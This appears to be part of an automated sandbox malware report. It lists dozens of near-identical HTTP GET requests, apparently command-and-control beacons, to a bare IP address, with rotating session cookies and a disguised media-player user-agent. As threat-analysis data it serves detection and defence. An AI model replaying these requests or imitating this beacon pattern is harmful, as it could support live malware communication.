Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=ELy7Akt_20WaSxQDKWpVYurAOGl9-_tYh_MSz7-QIgUzi8xyAic9Fei2xtisQVtt-NW-DxOQZjzTxbxfBhCXWbZid-d6Aa68mqbnWkzrJGSEoL1ZIBoXd1LERec4zP0o1Do4iVgS01miRp_2HVB_2YMyOgTCrMDU0KTKLl1uursliKOvUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Hs_lMEUMhXeUOEoxJxkLUOSzZltziKVqiYBM_bHjfDc9-JJADFRjJ-bFmOqiMgVf9qbgPR3jOA7dtuJtCGPJa7gRKdV0cvCOlNW5aEKYelaK0-NrLmlJRVy3G9U2v6Ma2klmu1ZhjWusNcHEEyMh641BZDbM357m3teUHFMd5Ikr-_2dUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=qdcwO_IUUHwjIJ86kAHeW1Ors1DEkHBhPpiZ9gb7qTyK4EdLu0y2LFHdTeEVKtBUQb41Nqr77QVqrjdmv3scYA8J_N7DaiWFI81sY_WAr109yzZgmXGcTuuvzt6Bp3YRbVGzsOF5WGAbLRTPpDv04DpZsT17x0vtac9BF-QFMYKc4yiWUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=ltlHts0aJ_EcLui3rw-p1mylxN37ngfsAZbuezn13rG17jDGhELBoW7TOmwqJKfZfrBCu5X1mohVoEDrgHVr7TAHi1P8ZFIIHMMb7sqO2NACxUHtpn_rw9ShuVO-qQGcUl_EPd53L-0kI2NCmzWDbQVXxrBEyTxgVsE2mtsLRg-j7V8bUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=TSjzeRbrkz7H31x4dP4dGbdUcBIgb7Mj2mdatOIEan5uH4QJX7N1brUijqPx1RMWpUH2dE4ELkeOUfQkW4TfIuv2P5wnlebHxzKvIRF_bB_ZNPUifY5fDA9QDZxlWLVTia5w8gWGmyL_0teNQMQ3ot6mcn-fOIivjTCCVQD68sB4HOvUUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Gi27HkHu21mQ2hQfI_tVfuBROHV3avtEjWIS07UBIhk5GsxuCLY9CeInxsSm0Ftx8kS-ExkBZiDZVLxDDIGXRbzzd_twkK6gkDfnRkZ6JHiOMb1FKosXa1hVRfsyXf003qs4lVKD00Wo15_qF8F_xYmjOhjIPcDI2jXKMlf_uqcvGaOzUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=tYqRh-5J8cA_fT6GjFx_50_2EuzYzdHdIsU4ShqmCICWveb3pxEXkE2A7F0Jd3HoXeOUiramTLl285baoya93BNUXWLfN4Q5P5DN3-ndDuEhlpfchSw98vfyb2Kd-tetcQwSDP0k-dwHcLVzuGZVXCYEEIFnmupRdZLgq_hYkD6AvokqUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=CiWVpVHm9eKA0jqkM_N7xfBZFs5nYtX_nWo8aKUJDKIpEuLVGL4TsvIv6H-22HXK4kyQqAkJSJvJXJL4HIm5_qz7WUBgmIAbgD_J_VZyCsOeOZP-OoM50Ehda0AiVdOPzqMWLkKL_f6437FRB8lRfpmrFKPYNe5zyj3kiUf3lBw_EY0IUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=u0bas-CFuvQxsXWygpA000E6WdjWAZrpLAlzfhRqQ7SYca3Dqd1cpENMp2kHuzrcUy_fvrhqB414P93urer26B2YFlbR-88NMVyG6-cRRdUvWtzoi-B2xvk-JFaTNpyZf8BZOPPosugJvP5HtqoeaCjIW7VpVqFle16rn_aU2wqOcsIeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=dpzAfy1foDj8a29-T0ouH4zgQxQb24Al4dNpstmwWXhVq7cPZAdGaI6WvaXKYSAQnvXFcnWwHUG15cciYDDsJNBCDJocIdXB_IacJyrLXxnigMYkRjpsCjTkPppe7IZVshpD9D4yqCTEZuSLe3AEpOUSQXmkjLuptoSxUztOwcZDqNjSUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=vDGhn-fywdg2xg6ehedP_0ZNIvTRduHFK34IUhMdOJifBtbvrqoniEQ73EUAzEHwVFikkr8dfKF_SKbCqp2NxBrvbXrWjLQhNiv9x-BmPvkoLafEjJcN6v5JX3qUQee1eLciFPSfycQOy4Vrsd1lRC-_IJluIdpJfCnQs_HjoCaJBbkyUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=fUJNKSaBLW73teIoRJSjSYc-zkIQBQ1z6g3k5NJu1C5edTpZb9nLPoVIMPPBv61GlStIJH5ukBe-O0p0a-5hctucgcwX_1iX91gRcSEV0k_pXktyTeThXD86s8xVMgsDucTOojXsJXLPuGndcK6J8u7MzC-vUjb_vVo8BTCQTJBIdlWEUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=e5hhiyBbAczxb86KQk6P64Hk4uAW3yHR7NfIRtS0-IxYrxb7aQPnnIOSHFHHZYHkk_Fkhni0vLW44WbWbTRN0N1GrW4RJXQ18YI90yfP_u3vhGfQSz7N_jngn25T6Cehvx7iADM2CdDJYkV_dnSlUOgW4I2piBpdu4AQpzZKYDJOrHkmUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=gMpBedsJIT4KPe54uRyvGXq2whLtjQEjF4XotC_m2H6j_TYJklHHbnjAPKM8N6EWaKNEdIPmnEdDs0YklmZtIiYUjZzqd1THCtAdIdyd3h8U1kcisGztDMKyv5yougdTREzC8shkKSIyMGWNjSaFohNEwH9S2jqvQNIwVc0YQMC1_lnUUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=mr0Ty8F-c4wQSrzKo2v9q2DBkKD3-lORDfK6BjWRisy5imS7iCaV3GK3bhEmQPOkctQWxpmRzvVZxBSWjBE_kDxj3y7wAAZ1EKdPk8bqjK0OoRWQqhu_vtjF7S6yzVXhXjuQQNITe5AoRzc_l1HXEAkzks1IrWgdWqVi59dvEnKviQtmUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=tRCG7-7T5qg_5ynujMZoj09sBYTYV8a1Il8vIho8H-iWJ_Gfp4sA-E0a-zUJ7WaAXXmD4rY8W9F2aYGyo7yqtBPOSgrfrZNRPwrat-lHGYkhDIC0hbYqmvdoeAqdYMDFcZYFZP2-7rQH6qIbuPxCNCaeB-lnAP05dQj3w_jCh1aAJJ5CUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=zuiUZJUr9CNEHztl9z56BDSUFw-jr9Q-Wac9qWHEDWPt3-MU3HMSczbi6b5yFXQLJoGRac3ESVoNkZM52ES4P2g2WIGkVYHaRPLIPJK_CwJa9JI__k44EYyQaoHmmNJOCm4X74ZG_D98ErCQwwRQv11mFWIc-O-yDvDlSIM6ld373IzJUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=a8oB5TAJYaLhPa7kUhzvhZG2go4GjUG__IWoKMTmmOJI_XaVeVGH8pPAfD_XN-GKg6ME6Gjm3Nuoswa4fWYtvs0UzQABdxRb4dBdvTednoP_1ge-W2ytkCmy_wBDukfPr0yCbiNkab7ZMCURZibFPvhEgOO52nozq9JwySYYAFxe_hlIUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Yu4k8zktRLToGYvyWzjKk5iSp5gPqWSp9aGNPs3CvfRB2VODcHWi5JrkWSneE8Scioch_mHC-c2hlyOudEIIqMQw6BYIUzFN6PR4qz65u5X28iKoUkiIhiCW2hZKnmLZpmineCpATKjQFAAHbwLgKPFgpfWw_l8lovZV3y88JUpX2jxeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=zemFOpYq5X1HHio79D9rWjeVBlGgrsVgWqYs92LFHD3u3vJK33IDLTXj-OBxFGVVJYCAN87FWAQOkIJn20WpYWs3Sd-nVJCER_PZYpG-GlxZ9YNh_U8pT4-Re9_lmcMQCW8GsYVH7WF_E6HOwAVB4V5nBDwf-f7sDfH0FoA7hIP43Z2XUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=9Krf869pv7R-XXDyzXwxkw7WXJiZ7Z-pY-V2PluGRvTXnaiD5jFZ5AygoilIVz-cHMPa_veGAs0309iu4gbzqFJ0ExaeF8pNfrCDq6j9QJVgttmoxAxzhrbSIRbc2pnZMCxceLwEt6hGUPsH-UYbKGckXvUmuqQlNLKu37l43krBnsdeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=6eIBprIhYeFjFa6n0DTvxhOegs2EpUH8fq2oa0bOmKHK1XbW-3mHsRHofHxVH-HJAYsEq-rO3Jgqmwb7_04t_U88zUODXxQYY_hd_rW1nsB9_gf92USt06ua_0PBkkeMLWSCLaFMaf1bGCVS5A7FfXpsgKA78npwKfpwiqQwAB_c1hkLUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=xNo1Tp8ZVQlOLZpP_QzbLj6mtiWpnXUUU5Wcg2v2rEnn7UI-1kGzWTzQSJR4J9UhLLMwQ8f26HAHozIT0nYZFWIE-auuZyDwTsBpFpiNqihQxjMV9HyZO4aiy6vsqnNkAFy2xYx0XRV2IBG6yTbxlVdUtEgWyk6YBMJEYokINPfx7i3jUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Pcs_jmYIX8m3PJCPBB3R7se3vOVQjH_UqoSWQ5Lnpoke_Ej-L1C5mcXBQlSBNt_h1aI6gz7n4rD-sjjTK2cT1ZsV82tXdiowt9Fj1mGcoOip1znVDW2T-3-zwWsVu3mk-U28BXVlV9WPMRt6MCf7Va5Fvojv20RY_dNOonAZPjcI_ycjUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=WXjvawK7jyzTj0BqYK4BC6MEbAA0P68xzjdGpvZUdmx6T5gbS-NpfKFykrHlhQ8EsRHqZlpUMlWaAeg2T9TDMP-mI44zxfrV02KzMwUvcA3NZOkwad5DHhsAEY5xCKlBnf5s4BHWhzDrgsufVJQrsMr2bm2LaJS9mWCeRxSq7tJsTPfGUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=91ZFfayVJTp9oep8zoCrHQ0qxhaaEQUnYBnssFh63HrUYTIN5c3Dag9cOKdLq6USHz9AcPR6mEM0L0Ig4fppJlGIiZid61DDfUwZJasB2htjSkMmx_DpCLUuu5jfJgNXM9DG9r_4LSZFrGGJ-rqBpmTYxHslRj6rN040UbqERMTCYl3QUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=4HiZpLu7-eNqjzal2a53xBoEGs-NP9n-dzcwaU9UAKPDT-7U8uMfsxhy5H5chXnLCBGcqeNURJojAZ759tS1_0amVUGKxYwaamLF_LwvBsJ0ZJ__0N410aIAZ0HICN-OJP4aL6jW8f9Sgr1Q7ZRdf3P2GKIyaOJyIGDoiK2qmB3VTIEJUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=vG2rC-euy0w2mgQKhbtFa0YRKGDRKutRKyICxhNBMgyfWtx7rvYtHERn1tEAkEtkVASuBr9BdjV_FKxWqsGHUBqzZ-7W0L61Nnf3U-A6NG0oca1QjMsHfv4VVe6UHe0heOsogPTDw1AOl4__sYFv0C_jKg1ufdDdfHXaJ_G_qrKJWbOmUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=9qBlDa1jBUp8V8oMz3aLbQzc5mab5yVXYe_MwFmM_ArVlxJ95DvjGg6qGNdKXYViHslgAPWMuDM12WJQ4AxJVlB-qeicHXCzfLo5Var3-mtivGNWxgbJeLTYm-je0CMnMibmhr4ODVZEWkH5-0yh1mUu5AsksB7bNrgUIbtyZLTDlH2gUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Y4TS3ThHsprpc33cWlI8vZn4UbYOw5KH9Mt7EMyoS9pAs6WtcR9UypuOrwffeTKyi-3X0GCoD-Og_dWAdSj-hsVaHjgJOcdj6Z6OhT_TTbv3mNSGUyJ-qCH8LDhL9JT3pwJRVisquobRfvYpbmgWBvAKU9uxlKkLo5yj8S5W02RWsMpwUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=n2pQLcSpMGoVnf8spry-TWUW00byLRB3CCX54DBGySq8XSddjfHWOmdgLfcjl7BCdwNVIJxGjRNcE1dwicZ8djm0nMj110WTFXAMdcM9z0sLdlZ2r8z8WN0Srsi3GhYHW-zTptfEOHYtkHTZkoaU9gzk0StNeiv7X3IhAdK4UZSqXkiAUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=en-O6CG87q_wiCHpQ6lgiIADDYMXOM6y7TAnJdVTF-9ZSPmYaOQI_4J18zLGgm6HkhaL5XlTU9a5Bom1bNOis9yhQg0QwptW8GXSsCYoEY7uY4izStkinTgHcA1SD8jCvvkNYzLR5rPIhaocd5NKM-nxD-6ob_U-umf_xDetj1FPS5ZFUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=74oFr7RJZehlfaqu1lzrzxX2hsSCzUX1eMWsYkCmnKjMvXLf_RGDuBeAeHVTd-XAB-MAouym2JEs8wLy-SYp9ElUyUqFNxARZZBZ97Pdmsl7lgP03yyp2q3y-0rH-kOFKwyGJKckbfRdcCFb4mbBdHwEhKk9mn55L5J0g6JYBBbavh0CUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=wUZLg5qFK8RLseSC-JCl4zs6yOisAQvZVgniTm5q0oTicTzz093NlDlMNll9u6vsKS9OjsJqlr0CP0ze1-pn2GeYh2ar-149S1wX250R1OVVWk3Y8eDn9oM-tWbpNg2pBcDICInoI9hzvG93zKqPWFLIyoUTVjBVAV46r4yUSjr0clMuUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=MruY72l4-Ki4TDfuC212j8jHG4Rf_Ni1pfQxIp2XAegRjO-fICAe-Mqx5TWORniA2tKd4jGXRdHxwp-yJBe0tJRlVApYBo1RuKHEt27sB4mmp560Ah00mnDDZgoay97F9j0bZHoV8LSAQbwbP1dcNKE1Gengq-M58qPpw39pmVYHj4BCUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=A6ZJKVhlKW6JUeYoOnCnSfnaykJu4QlzlOng5KyK0C4gkT5ZET3PPvusNPO_W6lG689MJACKlBfA3050FQplcqV4hcxpG1yXibwVcV_x1k-Xuk9yMwDlXEHet8wr1g8DxyDKoksIIXKxXG3dDkqN8pAoyC_RtjL_w744BU50SJA2klGEUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=cdOlzyoQxYj7JArOSAVLr4uvJqQclOWV5pwMAt7_PMhS5NK_Y0gj2InZ2BXNLkWgmbqgwnL_ePGyqqKSZ3-JlNcNaSobbrBx-8n5ly2EOqnlz6OUQXUJujOrWypZo-PltVUmRDl9zZTDKYE7fD9hFOJdJMmjw94ZscvU4zwBpHZE571iUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=YGr8JjupnGHqnVMnWbwSRpoWf00NLbx89yVV689GZSFDXYtWcvF6MZhggfzclxxJiAP5K2NGIRijE_t7dsbQfca0MMMK1-mY6nCgfjw9Y0D0dvp9UMxQUyISAsNIGroMpOx_rSjElH3SkNjSbYY4_fPkfSCyeofwoHKNCi24_Z9VXuSLUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
